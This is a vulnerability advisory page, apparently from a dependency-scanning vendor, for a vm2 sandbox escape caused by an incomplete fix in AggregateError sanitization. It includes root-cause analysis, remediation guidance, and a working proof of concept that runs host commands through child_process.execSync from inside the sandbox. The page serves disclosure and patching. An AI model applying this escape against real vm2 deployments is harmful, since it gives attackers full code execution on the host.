NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-92934 — vm2

Fix: patriksimek/vm2@c8c2325

CVE-2026-92934 is a CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.

vm2 before 3.11.8 Sandbox Escape RCE via AggregateError

Also known asGHSA-x965-fc75-jpqh
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 29, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-92934.

EPSS Exploitation Probability

via FIRST.org ↗
0.8%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs55th percentile — riskier than 55% of all scored CVEsHighest risk
0.26%0.60%0.93%1.26%0.8%0.8%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

900other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
vm2npm
1.3Mdownloads / week

Description

Summary

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause

handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Impact

Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.

Proof of Concept

const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));                                                   // -> uid=1000(...) host RCE

Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain

  1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.
  2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.
  3. Sink — e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....
  4. Impact — host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence

Executed on node v22.23, vm2 3.11.6:

  • Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED
  • Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED
  • Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED
  • AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)

Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….

Affected Versions

<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).

Scope Note

This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.

Suggested Fix

On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.


Reported by zx (Jace) — GitHub: @manus-use

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvm2all versions3.11.8npm install vm2@3.11.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vm2 to 3.11.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-92934 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This vulnerability is rated as Important severity rather than Critical because exploitation is contingent upon an application allowing untrusted JavaScript execution within the vm2 sandbox, requiring specific preconditions and complex exception-handling manipulation to achieve breakout. In supported Red Hat offerings…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for CVE-2026-92934 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.1ansible-automation-platform/automation-portal:1791295379RHSA-2026:80603
Red Hat Ansible Automation Platform 2.2ansible-automation-platform/automation-portal:1791293780RHSA-2026:80644
Red Hat Ansible Automation Platform 2.2ansible-automation-platform/bootc-automation-portal-rhel9:1791865660RHSA-2026:82151
Red Hat Developer Hub 1.10rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend:1791242697RHSA-2026:76788
Red Hat Developer Hub 1.10rhdh/rhdh-hub-rhel9:1791311495RHSA-2026:79088
Red Hat Developer Hub 1.9rhdh/rhdh-hub-rhel9:1793117813RHSA-2026:91651

Frequently Asked Questions

## Summary vm2 `3.11.6` (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the "sanitized" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize. ## Root Cause `han
O3 Security · Impact-Aware SCA

Is CVE-2026-92934 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-92934: vm2 RCE — Fixed in 3.11.8